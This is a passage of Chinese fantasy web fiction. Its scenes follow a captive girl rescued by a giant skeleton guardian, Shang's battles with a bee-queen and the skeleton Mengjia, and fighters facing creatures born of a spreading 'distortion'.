即使前路有这等景象,马婷婷也要前进,因为逃出去总比在这一直被关着要强。马婷婷向前走去,她的视线直直地看着前方,她不想再看到那种景象,那怕是看到一秒钟也会让她感到十分恶心。当她走过大桥的时候,她看到了一块巨大的显示屏,显示屏赫然写着藏骨堂三个大字。她看到这三个大字之后不禁打了个寒颤,毕竟看这三个字她也知道这里究竟是个怎么样的地方。 她继续向着藏骨堂的深处走去,在走到了另一座大桥中间的时候,一只巨大的白色骷髅手突然拍在她前面的道路上,她被吓了一跳,刚想转头逃跑,只见另一只巨大的白色骷髅手拍在了她后面的道路上,这下是彻底堵死了她逃跑的道路。此时一只穿着战甲的巨大的骷髅缓缓从大桥下向上升起,许多的尸骸从他头顶与肩膀上滑落,其场面十分的壮观。他对着马婷婷发出了一生怒吼,这一吼直接把马婷婷吓得倒在了地上,她哪里见过这等场面,腿都吓得开始发抖了。 马婷婷: “这......这......这是什么?” 此时这个巨大的骷髅用鼻子凑近闻了闻马婷婷。 ???: “嗯?我还以为是你呢......” 这个巨大的骷髅用他那只巨大的手指指了指马婷婷,接着让这只手指缓缓马婷婷靠近。马婷婷见此十分害怕地蹬了蹬腿,想让自己离眼前这个怪物远一点,但是此时的她已经使不上任何一点力气了,她只能看着。见到那只手指即将碰到自己,她十分害怕地闭上了眼睛,静静地祈祷自己没事。在此刻,她的脑中闪过了无数种自己被碾碎的画面...... 可下一秒,她却没有感受到被碾碎时的痛苦。她感觉到那只巨大的手指正在轻轻抚摸着自己的头,那种力气十分微小,就跟一位正常人的力气差不多。她睁开眼睛,她看到那只巨大的骷髅的那根手指正在轻轻地抚摸着自己的小脑袋,而且这个巨大的骷髅正用一种和蔼可亲的笑容看着她。 ???: “小家伙,是我吓到你了吗?别担心,我不会伤害你的。我只是驻守在这里的一个孤独的守卫者。” 马婷婷以一种半信半疑的眼神看着眼前这个大家伙。这个巨大的骷髅似乎有眼睛一样一眼就看出了马婷婷内心的想法,他停止抚摸马婷婷,转而笑着在马婷婷前面张开了手掌。 ???: “小家伙,你迷路了吧?让我带你离开这个地方吧。来,站在我的手上。” 马婷婷看了看他那只巨大的手掌,又看了看他那张令人毛骨悚然的脸,她虽然心里有些顾虑,但她还是选择相信了眼前的巨大骷髅,她毅然决然地跳到跳到这个他的手掌上。 ???: “抓紧了!等下......你的手上还有束缚着你的东西,这样你容易掉下去。我帮你把它弄下去吧。” 说完,他用另一只手轻轻地夹住了马婷婷手腕上的手铐,接着稍微一用力,这个手铐随即变成了几块碎片。马婷婷见到他这么做,高兴地对他道谢。 马婷婷: “谢谢你......帮我解脱束缚。” ???: “不用谢。对了,抓紧了!我要开始行走了。” 马婷婷: “好。” 马婷婷用没受伤的那只手臂抱紧了他的食指,此刻的她对这个陌生的可怕大家伙有了一丝坚实的信任。这个巨大的骷髅缓缓站起身来,他那庞大的身躯在完全直立的那一刻注定是十分壮观的。这让马婷婷头一次感受到在高处的感觉,也让有些恐高的她感觉到有些害怕。他单手托着手中这个比自己小了不知多少倍的小家伙向着藏骨堂的一个隐秘出口走去,他虽然是一个长相丑陋恐怖的巨型骷髅,但是他却有一颗善良且纤细的心。 他每走一步地面就颤动一下,马婷婷也随之颤动一下。但无论怎么颤动,马婷婷始终没有出现过重心不稳的现象,就仿佛他的这只手掌有一种可以稳固重心的神奇魔力一样。在走了一段时间后,他在一面金属墙壁前停了下来,他伸出另一只手的手指,用极其微笑的力气打开了一扇隐藏在这面金属墙壁之上的一扇小门。他缓缓将托着马婷婷的手靠在了这扇小门的前面,他笑了笑,用手指了指那扇小门后的通道。马婷婷明白了他的意思,她松开抱着他食指的手,然后从他的手上跳下,走进了这扇门后的通道。在离开这里之前,马婷婷回头对着这个大家伙说了几句话。 马婷婷诚恳地表示敬意,并向他鞠了好几个躬。 马婷婷: “非常感谢你。” ???: “不客气,我只是做了我该做的事而已。” 马婷婷: “对了,我叫马婷婷,你叫什么名字?” ???: “名字?我没有名字,我只有一个叫做看守者的职位。” 马婷婷思考了一会,很快她用她丰富的想象力给眼前这个大家伙取好了名字。 马婷婷: “要不......你就叫骨先生吧!” 骨先生: “骨先生?听起来不错。” 马婷婷: “那么......有缘再见了!骨先生。” 骨先生: “再见了,马婷婷。” 说完,马婷婷便转头向着通道的另一头走去。 ...... 宙级洪流: “哎,我的王啊,你知道吗?为了让你成功完成你的诺言,我重置了时间许多次。” “因此......我一手造就了扭曲现象。” “现在扭曲现象已经十分严重了,很多城市与无辜的人收到了来自扭曲的迫害,如果再这样下去,我们这个世界......终会被扭曲所吞噬的。希望,你可以不让我们所有人失望,让这一切走向‘最坏’的‘美好’吧。” window.fkp = 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弗想用自己的武器防御,但是此刻她没有时间挡下这一击了。 就在她想通过后撤躲下这一击时,剑刃突然转了一圈,然后以极快的速度擦着她的短发边缘刺向了她身后的未知生物。在剑刃刺入这个未知生物体内的瞬间,漆黑之翼轻轻握了握拳,紧接着这个未知生物直接被炸成了许多黑色羽毛状碎片。弗转身看去,发现身后只留下了许多黑色羽毛。 弗被这突然的一下弄得有些生气。 弗: “什么吗!吓我一跳,我还以为你要杀了我呢。” 漆黑之翼: “记住,战斗的时候哪怕是说话也要注意身后的敌人,不然就会被背刺而亡。” 弗: “别用这种语气教育我!我可是......” 没等她说完,漆黑之翼的左手对着轻轻一挥,一条黑色的半透明锁链直接刺入了她的心脏之中,接着这条锁链从中途断开,然后以一个围围巾的方式缠在了弗的脖子上。 漆黑之翼: “我跟你上了一层心锁。接下来,无需多言,使用你的Emw战斗吧,早解决早回家。” 弗一脸不乐意的样子。 弗: “混蛋......你可是真够烦的。——对了,你确定我现在能在扭曲影响区域使用Emw吗?” 漆黑之翼: “我确定,因为我曾经做过实验。” 弗: “你最好别骗我,不然小心我报复你。” 漆黑之翼: “放心,我这人说话算话。” 说完弗试着召唤Emw,接过她很顺利就召唤出了自己的Emw:粒子。无数金黄色的粒子出现在她周围的空间之中,这些金黄色的粒子只有弹珠大小,但是其威力可比子弹都大。 弗: “看样子你真的没骗我。” 漆黑之翼: “女士,不建议我搭把手吧。” 弗: “这点......你随意。” 漆黑之翼高举左手,汇聚核心能力,召唤出了自己的Emw:漆黑锁链。无数顶部有剑刃的锁链从周围的地面上破土而出,四个巨大的黑色齿轮出现在他的上空,此刻一条巨大的锁链拔地而起,将这四个齿轮连接了起来,组成了一个巨大的齿轮阵。此刻一只巨大的未知生物带着许多只强壮的未知生物冲向了他们,他们发出了阵阵咆哮声,似乎是在宣扬自己的强大,但这对于漆黑之翼与弗来说,这些只是他们临死前最后的哀嚎。 漆黑之翼: “齿轮领域......” 齿轮阵开始运转,周围的空间之中开始飘洒黑色的羽毛。 漆黑之翼: “展开!” 周围的一切都变成了黑色,同时有许多的锁链倒挂在天空之中,每个锁链的底端都有一个心形的锁。这些锁链在漆黑之翼的操控下全部袭向了那些未知生物,并将这些未知生物的身躯刺穿,锁住了它们的灵魂。 弗: “上吧,让我们两个结束这里的战争吧。” 漆黑之翼: “你随便。” 弗: “不许学我的话。” 漆黑之翼: “好的,女士。” 弗: “你这家伙是越来越烦人了......” 随后弗和漆黑之翼开始与这些未知生物进行战斗...... 与此同时...... 在东洋国的郊区中,大表哥坐在一栋被他干倒的大楼上喝着啤酒,这栋大楼下面全是被压成碎末的不明生物,这些不明生物的遗骸还在向往渗着血,看起来很渗人。在这栋大楼旁边的空地上,数字之主正在用数字与弦处理周围最后一只由扭曲产生的怪物。 大表哥自信地笑着。 大表哥(都市之星): “数学老师,你说这扭曲现象什么时候才可以被根除呢?” 数字之主(都市之星): “不知道啊。这种现象已经持续很久了,而且每隔一段时间就会爆发一次。我们连它是怎么出现的都不知道,更何况去根除它了。” 大表哥: “对呀,我们连它怎么来的都不知道。” 大表哥拿出一罐软啤酒(酒精含量为正常酒品的一半)喝了一口。 大表哥: “要是可以知道它是怎么来的就好了,这样能省不少的力气。” 数字之主: “大表哥,我觉得这扭曲跟那位沉睡的国王有关系。因为一切异常都是从那位国王开始沉睡开始出现的,而且这种扭曲貌似是反映了某个东西。” 大表哥: “哦,你这么说也是。也许这扭曲是因为那位国王吧,但是这说不通啊。他睡他的觉,这扭曲怎么能因为他而生呢?” 数字之主: “据黑网的一个知情人士透露,这一切都跟那位国王有关系,但是这种关系中间还有个中间者,这个中间者才是导致这一切的根本原因。” 大表哥又喝了一口啤酒。 大表哥: “越想越复杂啊......” 大表哥耸了耸肩,一脸轻松的样子。 大表哥: “不管了,与其去考究是谁的原因,还不如去喝点啤酒去消消愁呢。反正这扭曲现象终究会越来越小的,毕竟这世界还是有物理的。你说对吧,数学老师。” 数字之主露出一抹淡淡的微笑,他高冷的性格在此刻显现。 数字之主: “你啊......说的也对。这扭曲应该会慢慢变小的,毕竟有物理法则存在。” 与此同时...... 殇在一觉醒来后惊奇地发现自己被树枝和树叶埋上了,他赶忙把身上的树枝与树叶扒拉下去,然后站了起来看了看周围,发现大雨还在下。雨点打在他的身上,阴冷的寒风吹在他的身上,他不禁哆嗦了一下。天空中此时仍雷声大作,黑压压的乌云仍盘踞在空中,风暴扔在肆虐着这座岛屿。他打了个哈欠,简单做了一下热身运动,接着向着远处那个类似于蜂巢的巨大紫色不明物体走去。他越是靠近这个所谓的蜂巢,周围的地面就越是发紫。当他来到这个所谓的蜂巢前方的时候,他被眼前这个有十多米高的巨型紫色多孔球体震撼到了。 殇: “我嘞个去,这是什么啊?那个生物可以把巢建得这么大?看起来即恶心又壮观啊。” 地面上慢慢多出了许多紫色的荆棘,这些荆棘在缓缓向他靠近。他注意到了地面上向他靠近的荆棘,他开始发觉事情的不对劲。此刻一身清甜的女声从这个球体传出。 ???: “亲爱的,请你进来救救我。我被困在这里面很久了......” 殇被吓了一跳。惊吓过后殇很是疑惑。 殇: “哈?什么鬼?老子可不认识你。” ???: “我知道......无论你是谁,请你进来救救我吧。我不想再被困在这里了......” 殇: “嗯......你确定你被困在了这个东西里面?” ???: “我确定......求求你了,把我带离这个地方吧。” 殇: “好吧......希望你别骗我。” 殇走进了这个巨大的紫色球体之中,他在走到最深处的时候看到了一位身穿科学家服饰的黑发女科学家正跪倒在一处空地的中心。殇刚想上前去救她,只见她的全身突然长出了紫色荆棘,随即在一段诡异的变身过程后变成了一个半人半蜜蜂的状态。她对着殇露出了怪诞的笑容,同时她的身后飞来了许多身上长着紫色荆棘的巨大蜜蜂。 她露出了阴森的笑容。 ???: “你可真好骗啊......接下来......该到了女王的用餐时间了!” 殇的表情瞬间变得恼怒起来。 殇: “妈的!敢骗我!” 她狂妄地笑了几声。 ???: “等你死了,我会好好享受你的‘分量’的,同时你那颗核心也将会成为我的一部分。” 殇摇了摇头。 殇: “真的是够了,拖延了这么久,你的那些小蜜蜂们也到齐了吧。” ???: “猜得没错......你这个老混蛋。” 此时殇的上空以及周边全是那些长着紫色荆棘的变异蜜蜂,这些蜜蜂做好了战斗的姿态,准备为它们的女王开始猎食。 殇: “活着不好吗......紫渊。” 紫渊: “你竟然还知道我的名字?真亏你曾经是个那样的人物。” 殇拿起背上的避雷针,进入了战斗状态。 殇: “我不喜欢废话,要打......现在就开始吧。让你们这群不自量力的人看一看......什么才叫做真正的强大!” 这些变异的蜜蜂在紫渊的命令下开始围着殇转圈,同时紫渊也跟着这些蜜蜂开始围着殇旋转。这是一种进攻的战术,看起来很有威胁,但对于殇来说只是雕虫小技而已。 殇拿着避雷针在原地静静地感受着周围的风吹草动,他虽然看上去什么也没做,但实际上他正严阵以待,时刻准备在最恰当的时机发起致命的攻击。在几秒过后,这些蜜蜂对着殇发射了自己尾部的尖刺,殇瞬间反应过来,立即转动手中的避雷针,他下压身体连续转体两周用高速旋转的避雷针打掉了这些飞过来的尖刺。 就在这个瞬间,七八只蜜蜂在四面八方以曲线飞行的方式袭向了殇,殇丝毫不慌,趁着避雷针还在旋转,他把避雷针向上一扔,然后连续侧闪接肘击击倒了三只蜜蜂。紫渊不理解殇为什么要这么做,因为在她眼里正常人在战斗中是不可能做出此等让人迷惑的举动的。 殇此时一个冲刺拳打爆了两个蜜蜂的头,接着下压身体,做好姿势,一跃而起,用一个落地猛冲踩碎了一个飞过来的变异蜜蜂的脊背。他踩着这个变异蜜蜂的脊背再次一跃而起,跳向空中,此刻那根避雷针正正好好的停止了旋转,并且垂直于地面。紫渊见此瞬间知道了殇的用意,但此刻已经为时已晚了。殇抓住那根避雷针,此刻避雷针上镶嵌着的黄色金属发出了耀眼的光芒,同时许多道闪电涌动在避雷针之上。 殇: “电磁脉冲!” 殇用力把这根避雷针插向地面,在避雷针插在地面的瞬间,避雷针内所存储的能量瞬间释放了出来。这能量化为了威力巨大的电磁脉冲,直接电死了周围所有的变异蜜蜂,同时还引来了一道闪电。这道闪电直接在这个蜂巢的天花板处开了个大口子,让雨水淋进了蜂巢的里面。整个蜂巢燃起了熊熊烈火,周围的一些树木受到波及也燃起了熊熊烈火。此刻在蜂巢内弥漫着焦味以及一种莫名的腐臭味,这里只剩下了拿着避雷针的殇和倒在地上挣扎的紫渊...... 与此同时...... 叶哥他们正在监狱的一处较干净的空地上打牌。最后是卡特赢了这局牌。 卡特: “你看这个安杰罗就是逊啦!打牌都打不好。” 安杰罗: “切!要不是老子这把运气不好,我早就秒杀......” 突然雷声大作,惊到了安杰罗及其一众红枫叶成员。 安杰罗: “卧槽!什么声音?吓死我了。” 此时窗外的一道耀眼的闪光与震耳欲聋的声音吸引了叶哥他们,叶哥他们顺着窗口往外一看,他们整个人都惊住了。只见一道闪电劈开了他们之前一直绕行的巨大蜂巢,并且点燃了这个蜂巢极其周围的树木。他们从未见过如此巧合的事件,他们从未想过这个对于他们来说最大的威胁竟然被一道闪电给轻松解决了。 见到这样壮观的景象,安杰罗他们都是瞠目结舌、目瞪口呆。 刘: “我滴个老天爷啊!这得是多低的概率啊。” 安杰罗: “卧槽!” 卡特: “就这样......之前阻碍我们那么久的蜂巢就这么......没啦?啊?太不可思议了吧。” 叶哥很是惊讶,但在他惊讶之余,他冷静思考了一下这件事,他隐隐觉得这件事没有看上去那么简单。 闪电精确劈中一个目标的概率极低,即使在这样的风暴天气中,精准劈中目标的概率依旧很低。而且这次劈中的还是这个大蜂巢的中心而且还没有较大的误差,这种事件概率接近百万分之一。这让叶哥不禁怀疑这是不是人为的事件,更何况他曾经目睹过会使用各种强大Emw的都市之星的战斗。 叶哥提醒众人: “兄弟们......小心了,我们可能碰上什么硬茬了。” 此时伊也看到了那番景象,她觉得可能是一个巧合,但她转念一想,也可能是殇弄出来的,毕竟殇在她眼里可是能做到常人做不到的事的神仙。伊心里此时是怀疑加期待。 伊: “殇......是你吗?如果是你的话......请赶快把我从这里救出去,我不想再被关在这件牢房里了......” 此时在这间监狱近处的树林之中,三位身穿黑色忍者服的忍者拿着短刀与飞刀的忍者也目睹了那壮观的场面。但是他们没怎么在意,因为他们可不是为了看风景而来到这里的。他们看了几眼便转过头去去聊有关任务的事了。 猫女: “喵~忍者们,不要在意路上的风景,我们要注意的是周围有没有敌人以及我们的目标伊。” 汤姆和布奇: “知道了,社长。” 猫女: “喵~时刻注意周围,看到活人后先辨认对方的身份。如果是都市来的猎人就直接处死,如果是这里的平民就放过。明白了吗?你们这两只猫?” 汤姆与布奇: “明白了,社长。” 猫女拿出了随身携带的定位装置。 猫女: “喵~据我们的雷达显示,我们的目标就在那座废弃的监狱里。现在我们必须抢在别人之前去抓到她,不然会出现很多的特殊情况。” 汤姆: “社长,还有个消息得跟你说一声。” 猫女: “什么消息?” 汤姆: “今天扭曲现象又出现了,而且这次的规模比上次要大上一些。我怀疑我们几个的家人可能死在了扭曲现象之中......” 布奇: “别瞎说!我们的家人一定会没事的!区区扭曲现象还不足以我们的福大命大的家人们死去!” 汤姆: “可我隐隐感觉到我们的家人很可能出事。” 猫女: “喵~别担心了,我们的家人一定会没事的。老天会眷顾我们的!” 汤姆: “但愿如此吧......” 与此同时...... 在那个损坏的蜂巢中,殇拎着避雷针走向了在地上挣扎的紫渊。 紫渊: “你......你真的以为你可以杀得死我?!不!不可能的!我只是我本体的一个分身罢了,我的本体现在还在她的王座上休息!等着吧,你这个大混蛋,我会让你付出代价的!” 殇阴着脸,全身散发着杀气。 殇: “闭嘴吧......紫渊。” 殇抡起避雷针一击砍下了紫渊的头颅,并用避雷针碾碎了她的头颅以防止她复活。在做完这一切后,殇耸了耸肩。 殇: “真的是够了!不知道这扭曲现象何时才能消失啊......” 殇迈着大步离开了这个巨大的蜂巢。在他离开这个蜂巢之后,他在蜂巢外的密林走了一会,然后迷路了。在他迷路了不知道多久后,他终于找到了那座被遗弃的监狱的入口,只不过这入口看起来很是奇怪,看起来就像通往某个地下机构的通道。 殇非常激动地说: 殇: “哦!终于让我找到了!果然我没伊还是不行啊,没有指路的就是不行的啊。” 殇这时看出了些许端倪,他打量了一番这个入口。 殇: “啧,这个入口怎么看起来那么奇怪?管他呢,反正能进去就对了!” 殇二话不说直接走了进去。这个通道里十分黑暗,只能看到微微的红光,而且通道里还用一种怪异的焦味。 殇嗅了嗅空气之中的焦味。 殇: “嘶......这监狱里面是着火了吗?怎么这么大的焦味呢?不管了,只要找到伊就行。” 殇继续向前走,他无视了路上这令人难受的焦味继续前进着,在走了一段路后,一扇巨大的侧拉门出现在他的面前。他摸了摸这扇门,手感摸起来很光滑,应该是金属门。他又拍了拍这扇门,听声音是金属的声音,这扇门的确是金属门。他在黑暗中摸索了一会,最终摸到了门把手,接着他用力一拽,这扇侧拉门被他拽开了。他走到门前往里面一看,他整个人都傻眼了。 只见里面有着堆满了如山一样的烧焦的尸骨,几座黑色的大桥横在了这些尸骨堆的上方,许多根金属支柱支撑着这里,同时也连接着这里所有的大桥。在这些尸骨之中还有着几台特殊的机器正在从这些尸骨之中榨取它们最后的一丝价值,就跟......都市法则一样。 殇: “我的天啊!这他妈是什么?!藏骨堂吗?” 殇隐约回想起了什么。 殇: “等等......我是不是来过这里......” 殇的潜意识选择了逃避。 殇: “不可能,我怎么可能在那么短的时间里来到这里?” 殇抛去心中的顾虑与疑问,直接找了一条下去的路就来到了黑色大桥之上。他漫步在黑色大桥之上,心情是格外的复杂,桥下如山堆积的尸骸似乎在向他诉说着什么,这让他看到这些尸骸时不禁冷汗直流。不知为何,他能感觉到一种负罪感在自己的心上,他明明没有犯下什么大罪,可是那种负罪感却一直积压在他的心上,这种负罪感压得他喘不过气来,宛如心口压了一块巨石。 殇: “为什么......为什么我看着这些尸骨有一种莫名的难受与负罪感呢?我明明......没有杀死他们,为什么我还会这种负罪感呢?我难道曾经导致过他们的死亡吗?” 殇停了下来,他走到桥边的围栏旁凝望着这些堆聚如山的尸骸。这些尸骸大小不一,其中甚至有动物的尸骸,但绝大部分都是人的尸骸。在人的尸骸之中,有些是孩子、有些是老人、有些是士兵、有些是高贵的上层人士、有些甚至是还未出生的胎儿。令人窒息的压迫感涌向殇,这种压迫感让他呼吸变得有些困难,让他体验到了一种前所未有的压迫感和窒息感。 难闻的焦味弥漫在空气之中,许多尸体散发出的灰尘也弥漫在空气之中,死亡的气息充斥着周围,令人毛骨悚然,不寒而栗。暗红色的光芒映照着这些尸骸,这种颜色仿佛就是他们生前看到的最后一抹血色。殇认出来了他们,他们这些尸骸都是这座岛上的居民、这个国家的居民、殇王国附属国的居民、反殖民战争中的胜利者们。他们究竟为何都惨死在了这里,殇也不知道。但他能从他们的姿势中看出,他们不是自然死亡的,而是有人故意处死了他们。 殇: “这些都是这里的居民啊!他们......他们怎么在这里啊,发生了什么?到底发生了什么啊?!是什么让他们以这种方式死去?是这场该死的疫病吗?” 殇无奈地摇了摇头,然后转身继续向大桥的另一边前进。他每走一步,他都能感觉到那些尸骸正在向他哭诉着自己的悲惨遭遇,可是他却怎么也听不清这些尸骸所说的话。他想停下来回头回应他们的哭诉,可是.....回头了又有什么用呢?他没办法跟死人说话。 当他走到了大桥中间的时候,一只巨大的骷髅手拍在了他前面的道路上,紧接着另一只骷髅手拍在了他后面的道路上,他现在被两只巨大的骷髅手给夹击了。他没有选择立刻做出反击,他选择了留在原地观察一会。此时一个巨大的骷髅缓缓从桥下向上升起,他对着殇发出了怒吼。殇被吓了一跳,本能地后撤了几步。这个巨大的骷髅闻了闻殇,然后瞬间皱起了眉头。 ???: “是你?” 殇: “怎么......你认识我?” 这个巨大的骷髅笑了笑。 ???: “我怎么会不记得你呢?我这一生忘了许多的人与事,就唯独忘不了你。” 殇: “我们认识吗?” ???: “你可真是贵人多忘事啊。我你都忘了吗?” ???: “哦,也对。我这个在底层的打工人你怎么会记得呢?” ???: “看看你整的这些幺蛾子把你变成什么样了......就跟一个滑稽的小丑一样,大家都不记得你了。” 殇: “什......什么?” ???: “哦?看样子你失忆的程度比我想的要重很多。” 殇此刻云里雾里的,他迫切地想知道真相。 殇: “话说,你能告诉我我到底是谁吗?” ???: “呵呵......不能。要是你知道你是谁的话......那样作......——哦,不是。你那位老朋友又该开启一段新旅程了,这会让我很煎熬的。” 殇: “你这个家伙在说些什么啊?” ???: “话说......你是要去救你的那个小跟班吧?” 殇: “你怎么知道?” ???: “不告诉你。——你知道吗?我们这个世界现在被疫病折磨得已经没有希望了......许多人都变成了可怜人......而这一切的始作俑者还好好地活着。你知道这有多让人伤心吗?” 殇点了点头表示同情。 ???: “真可悲啊!曾经希望的国度如今变成了绝望的废墟......我们都不能得救了。所以.....——给我去死吧!” 说完这个巨大的骷髅就抡起拳头准备去打殇,就在他做好架势的瞬间,殇想起了他这个巨大的骷髅的名字。他对着殇用力来了一拳,殇一个侧闪躲开了这一拳。 殇: “我记起你来了......看守者孟加!” 与此同时...... 扭曲现象所造成的战争进入到了一个停滞期,此刻那些未知生物停止了进攻,转而跑到了扭曲现象发生的中心去守护某样东西。在见到那些未知生物撤退之后,那些坚守在战场上的人们暂时松了一口气。伤员与死者开始依次被抬离这血肉横飞硝烟弥漫的战场,许多人死在了这场战争之中,其中绝大部分都是这里的居民和都市猎人,他们为他们所珍视的一切与自己的家园与未知生物战斗到了生命的最后一刻,他们是当之无愧的英雄。像他们这样的人还有很多,其中绝大部分也都战死了。 面对战场之上的狼藉,弗又联想到城市中那一幅幅血腥的景象,就不由得伤心起来。 弗: “该死的!又死了这么多人!——哎,可惜了这些还年轻的孩子们了。他们还没来得及大放光彩就死在了这里......” 漆黑之翼: “对啊......真是可惜了。” 弗: “这扭曲现象到底什么时候才能被根除呢?再这样下去这里迟早会沦陷的。” 漆黑之翼: “自从x事件之后扭曲现象就越来越严重了,现在还不知道这种现象的具体由来,如果能知道它的由来,也许就有根除它的办法。” 弗这时摘下头盔。 弗: “哎......要是那位战神还在就好了,他一定会有办法处理这一切的。” 漆黑之翼: “对啊。要是那位战神还在话,想必这扭曲也终究会被他根除吧。” 弗: “但是那位战神永远堕落了,他再也回不来了。曾经还有一位可以拯救世界的英雄,可是她最后也消失了。现在还有什么办法呢?” 漆黑之翼: “管理员,乐观点,肯定会有办法的。毕竟光的种子还存在。即使没有光之种子,我们自己也可以改变这一切。” 弗: “那怎么可能呢?” 漆黑之翼: “那位战神曾说过一句话......神之所以叫做神,是因为他做到了正常人做不到事。” 弗: “你这话的意思是......” 漆黑之翼: “这世上本没有什么救世主,因为每个人都可以拯救世界。” 弗: “你这个家伙真是又让人喜欢又让人讨厌啊......说的还挺有道理的。” 弗戴上头盔。 弗: “没有救世主,那我们就自己拯救我们自己的世界。” ...... window.fkp = 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殇一个极快的冲刺一跃而起,他就像一颗出膛的子弹一样,以极高的速度冲向了孟加的脸部。孟加见到殇这个速度后十分惊讶,他这辈子没见过此等复杂且强大的招式,就跟做梦一样。殇对着孟加的脸狠狠来了一拳,这一拳直接给孟加的头打得往后仰了四十多度,他的身躯也跟着向后仰了几十度。这一拳命中的位置直接被撕裂开了一个篮球大的窟窿,要知道孟加的骨骼强度与厚度可是常人的十多倍啊,可见这一拳的威力究竟有多么巨大。孟加在极短的时间内用一只手抓住了大桥,然后用力把自己往前一拉,紧接着就是一巴掌对着空中的殇扇了过去。此刻的孟加忘记了一件事,他用来扇殇的那只手手心处可还有着殇的那根避雷针呢。 殇抓准这个时机,一把抓住他手心的避雷针,然后借着他扇殇的那股劲从手掌的边缘一个前空翻接转体把避雷针加速到足够的速度,紧接着一把把避雷针以曲线运动的方式甩向了孟加的面部,孟加这次没有用手去抓,而是专心看着殇。高速旋转的避雷针擦着孟加头部边缘的盔甲飞向了孟加的身后,孟加出于本能转过头去看了一眼,正是他看的这一眼,成功骗过了殇。他瞬间转过头来用反掌试着抓住殇,他为此整个身躯都发生了倾斜,只为了能再第一时间抓住在空中的殇好把他捏成碎末。 就在这时,避雷针竟突然出现在他的视野之中,避雷针以一个曲线的方式重新回到了殇的手中。孟加整个人都惊住了,他从未见过如此高端的招式。就在他反掌要抓住殇的前一秒,殇在空中完成了转体,并一脚直接蹬在了孟加的反掌上,紧接着殇用力前蹬用身法躲过了这一反掌。他手中的避雷针上涌动着闪电,想必是在刚刚的战斗中通过旋转恢复完了全部的能量,现在就是避雷针的最强时刻了。 殇: “让你感受一下,避雷针真正的威力吧!” 殇在空中转体一周用最大的力气一下子把避雷针甩向了孟加的面部,被甩出去的避雷针涌动着闪电,并且向外释放着闪电光束,看起来威力与气势十足。孟加试着用手去挡,但奈何避雷针的速度太快了,他还没来得及出手,避雷针就硬生生插在了他的额头上。避雷针这一下让再次让孟加的头与身躯向后仰了几十度,这一下的威力不亚于之前的开山。殇在空中做了一个极其帅气的姿势,并打了个极其帅气的响指,接着避雷针瞬间把其中储存的闪电能量全部释放出来了,其产生了一道无比巨大的电磁脉冲,其范围可以比一间大教室要大上一倍。释放的能量之大,周围的所有电器与电路全部瘫痪或者报废,整个藏骨堂的生产线直接被摧毁得一干二净。孟加在接下了这一击之后发出了痛苦的吼声,紧接着无力地低下了头。殇以一个帅气的姿势落在了大桥上,然后他走到了孟加的面前。 孟加: “咳咳咳......你......你赢了。现在......按照你的习惯,你马上就会处决我吧。来吧,我都习惯了。” 孟加张开了他的嘴,故意对着殇露出了他的核心。殇伸出手,做好架势,一巴掌......轻轻拍在了孟加的核心上,紧接着轻轻地摸了摸孟加的核心。然后他抽回了手,孟加闭上了嘴,用一种奇怪与疑惑的眼神看着殇。 孟加不解地问: “你......你在做什么?” 殇故作淡定地说: “没什么......我只是......” 孟加: “我知道你不想说你想饶恕我,你这个死傲娇。” 殇耸耸肩,说: “还是被猜出来了......真是让人难堪啊。” 孟加笑了笑,说: “‘这次’有些不一样......你变了,你变温柔了。——也好,这样的你总比之前那个板着脸的暴力大叔要强。” 这时,殇发问了。 “话说......你这次可以告诉我我真正的身份吗?” 孟加摇了摇头,先卖了个关子。 “等会告诉你。” 殇皱眉,说: “啊?” 孟加失落地说: “你曾是我们所有人的榜样......” 殇用手托着下巴思考了一下他的这句话。 孟加失落地问: “是什么让你做出了那么多的改变?你连你梦想中的和平国度都毁掉了......” 殇瞪大了眼睛看着孟加,他的眼神之中满是惊讶。 孟加悲叹道: “我心中的偶像啊!” 孟加咳嗽了一下,同时他的身体开始下沉了一段距离。殇用一种疑惑的眼神看着孟加,他仔细思考着孟加说的话。 “拿着这个......” 孟加从桥下的某个地方拿出了一个符文,这个符文上有这样一个发着黄色光芒的Emd核心图标,他把这个核心交给了殇。殇接过核心一看,这个符文跟之前肃清者给他的好像是属于一个类型的符文,就连做工都几乎一样。 “吸收它......” 孟加又咳嗽了一下,他的身体又下沉了一段距离。殇照做了,他用核心吸收了这个符文,紧接着他的核心获得了远距离扫描EcL和通过消耗核心能量能通过EmA或Emw与EcL短时间融合的能力。 “去找那个下跪着的托着十字架的伯爵雕像......” 孟加又咳嗽了一下,他的身体又下沉了一段距离,他只剩下肩膀与头颅以及双手还在殇的视野之中了。殇此刻回想起了什么,他记得孟加口中的那种雕像好像是个EcL,好像叫做忏悔与救赎。 “别伤害那个善良的姑娘......她可以改变一切......” 孟加又咳嗽了一下,他的身体又下沉了一段距离,他只剩下头和双手还在殇的视野之中了。殇点了点头,表示自己不会伤害伊。 “殇啊......” 孟加又咳嗽了一下,他的身体又下沉了一段距离。孟加在殇的眼里只剩下了一只手还在他的视野之中。 “你......” 殇满怀期待地等待孟加的下一句话。 突然,孟加仅剩下的那只手对着殇竖了个中指。 孟加: “真他妈的是个不可救药的混蛋!” 殇也恭敬地回了一个中指。 殇: “操!” 孟加的手缓缓向下沉去,就在他的手即将消失在殇的视野中的时候,他的竖起的中指变为了竖起的大拇指。殇看到了这微小的细节,他点了点头,然后向着大桥的尽头疾驰而去。 与此同时...... 红枫叶的人正在悠闲自在地烤鱼,同时他们边烤边讨论在晚上偷偷跑出去的马婷婷的命运。 卡特很惋惜地说: “哎......可惜了我那只可爱的小宠物了,本来还想着带她去好地方过好日子呢。” 安杰罗不屑地说: “切!不就是个小崽子吗?没了就没了,到时候再找一个也不一样吗?” 卡特争辩道: “可我就喜欢她这种类型的孩子。” 刘猜测了一番,说: “我估摸这孩子可能死在逃跑半路上了,毕竟她才只是个16岁出头的小姑娘。” 叶哥也发表了自己的看法。 叶哥: “我觉得倒不一定,我看她身上之前携带的那种装备就能看出她肯定是个强大的游侠,她绝对不会轻易死去的。” 刘叹了口气,无奈地说: “哎......不管怎样,到嘴的鸭子飞了。她跑就跑吧,只要那个重量级的大小姐没跑,我们就还能交差。” 此时叶哥听到了很轻微的脚步声,他警觉的神经瞬间做出了反应,他立刻拿起了墙角靠着的镰刀警视着周围的风吹草动。 叶哥警告周围的队员: “兄弟们,拿起武器。可能有人要跟我们抢食了!” 安杰罗顿时怒上心头,他说: “敢跟我们抢食?弄死他妈的!” 安杰罗他们站起身来,接着一起踩灭了火堆中熊熊燃烧的火焰,然后拿起了靠在墙边的武器,做好了战斗的准备。 刘面露难色,说: “小心点,来者不善啊。” 卡特提醒周围人: “注意周围,小心偷袭。” 